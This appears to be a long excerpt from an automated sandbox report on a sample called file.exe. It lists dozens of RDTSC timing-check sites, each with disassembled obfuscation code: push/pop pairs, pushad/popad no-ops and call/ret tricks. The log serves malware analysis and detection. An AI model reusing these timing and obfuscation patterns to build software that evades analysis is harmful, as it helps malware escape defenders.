Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63374B second address: 63374F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63ADA4 second address: 63ADAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63ADAC second address: 63ADB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639BDF second address: 639BE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A844 second address: 63A84A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A84A second address: 63A857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F889508B646h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A857 second address: 63A863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8894B81516h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A863 second address: 63A867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6014B4 second address: 6014BE instructions: 0x00000000 rdtsc 0x00000002 js 00007F8894B8151Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6014BE second address: 5DC5D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F889508B648h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 jmp 00007F889508B654h 0x00000028 call dword ptr [ebp+1244A4ACh] 0x0000002e jo 00007F889508B671h 0x00000034 push edx 0x00000035 jp 00007F889508B646h 0x0000003b pop edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F889508B657h 0x00000043 push ebx 0x00000044 pop ebx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60159E second address: 6015A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015A4 second address: 6015AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6019CB second address: 6019CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6019CF second address: 6019D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601A4B second address: 601A5B instructions: 0x00000000 rdtsc 0x00000002 je 00007F8894B81516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601A5B second address: 601A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F889508B64Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601A75 second address: 601A9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B81527h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jo 00007F8894B8151Eh 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601A9B second address: 601B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 jg 00007F889508B64Eh 0x0000000f pop eax 0x00000010 or dword ptr [ebp+122D1A91h], edx 0x00000016 mov edx, 1B557557h 0x0000001b call 00007F889508B649h 0x00000020 pushad 0x00000021 push esi 0x00000022 jmp 00007F889508B659h 0x00000027 pop esi 0x00000028 jmp 00007F889508B64Ch 0x0000002d popad 0x0000002e push eax 0x0000002f pushad 0x00000030 push eax 0x00000031 jmp 00007F889508B650h 0x00000036 pop eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601B08 second address: 601B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601C9E second address: 601CA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F889508B646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601CA8 second address: 601CF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B81526h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F8894B81518h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 movsx edx, ax 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jno 00007F8894B81518h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601E74 second address: 601E7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60239A second address: 6023BE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dh, 82h 0x0000000b push 0000001Eh 0x0000000d js 00007F8894B8151Ch 0x00000013 mov edx, dword ptr [ebp+122D308Ah] 0x00000019 nop 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jne 00007F8894B81516h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6023BE second address: 6023D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B653h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6027CF second address: 6027D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6027D5 second address: 602828 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F889508B646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f lea eax, dword ptr [ebp+12485246h] 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F889508B648h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushad 0x00000034 popad 0x00000035 jmp 00007F889508B655h 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602828 second address: 60282D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60282D second address: 602833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602833 second address: 60285E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F8894B81524h 0x0000000f lea eax, dword ptr [ebp+12485202h] 0x00000015 cmc 0x00000016 nop 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60285E second address: 602863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602863 second address: 602874 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602874 second address: 60287A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60287A second address: 60287E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E71C second address: 63E722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E722 second address: 63E731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jc 00007F8894B81516h 0x0000000b pop edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E889 second address: 63E88D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EB40 second address: 63EB44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EB44 second address: 63EB61 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F889508B657h 0x00000008 jmp 00007F889508B651h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EE1E second address: 63EE2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8894B8151Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EE2D second address: 63EE32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EE32 second address: 63EE3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F10E second address: 63F13F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B64Ah 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop edi 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 jmp 00007F889508B653h 0x00000015 pushad 0x00000016 jp 00007F889508B646h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F13F second address: 63F145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6438EF second address: 6438F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6438F4 second address: 64391C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8894B81523h 0x00000009 jno 00007F8894B81516h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 ja 00007F8894B81516h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64391C second address: 643920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643A2F second address: 643A35 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643A35 second address: 643A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F889508B64Ch 0x0000000c jl 00007F889508B64Eh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643BA8 second address: 643BC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B8151Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643BC2 second address: 643BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643BC7 second address: 643BCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643BCD second address: 643BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645FFE second address: 646002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646144 second address: 646164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F889508B64Ah 0x0000000b push eax 0x0000000c pop eax 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 jbe 00007F889508B648h 0x0000001e push eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646164 second address: 646175 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B8151Ch 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BD33 second address: 64BD37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BD37 second address: 64BD4B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jo 00007F8894B81516h 0x0000000d ja 00007F8894B81516h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BD4B second address: 64BD55 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F889508B660h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BD55 second address: 64BD92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8894B81524h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d jns 00007F8894B81516h 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F8894B81527h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602188 second address: 60219E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F889508B652h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C481 second address: 64C4A0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8894B81518h 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8894B81521h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C4A0 second address: 64C4C1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F889508B646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007F889508B663h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F889508B64Bh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C4C1 second address: 64C4C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C4C5 second address: 64C4C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F808 second address: 64F830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F8894B81518h 0x00000018 jbe 00007F8894B8151Eh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6539EA second address: 6539F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6539F0 second address: 6539F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6539F6 second address: 6539FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6539FA second address: 653A2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jns 00007F8894B81533h 0x0000000f jc 00007F8894B81528h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653A2E second address: 653A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F889508B64Ch 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F889508B658h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652C93 second address: 652CBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B8151Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8894B81525h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652CBA second address: 652CC4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F889508B64Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652FC0 second address: 652FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652FC9 second address: 652FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652FCD second address: 652FEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B81523h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F8894B81516h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6532BA second address: 6532D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F889508B646h 0x0000000a push edi 0x0000000b pop edi 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f jnc 00007F889508B648h 0x00000015 popad 0x00000016 push edi 0x00000017 pushad 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6532D8 second address: 6532DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656268 second address: 656291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F889508B64Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jc 00007F889508B646h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 jc 00007F889508B662h 0x0000001b jl 00007F889508B658h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65688A second address: 65688E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65688E second address: 656894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656894 second address: 6568C5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8894B8151Fh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8894B81522h 0x00000012 jbe 00007F8894B81518h 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6568C5 second address: 6568D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F889508B646h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65FD7F second address: 65FD87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DE80 second address: 65DE94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B650h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E697 second address: 65E6A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jp 00007F8894B81516h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E989 second address: 65E98F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E98F second address: 65E9A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B8151Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EFD1 second address: 65EFD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EFD5 second address: 65F004 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B81525h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8894B8151Dh 0x0000000e push edi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65F004 second address: 65F00A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7F65 second address: 5B7F7D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8894B81522h 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663CA4 second address: 663CA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663E0C second address: 663E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
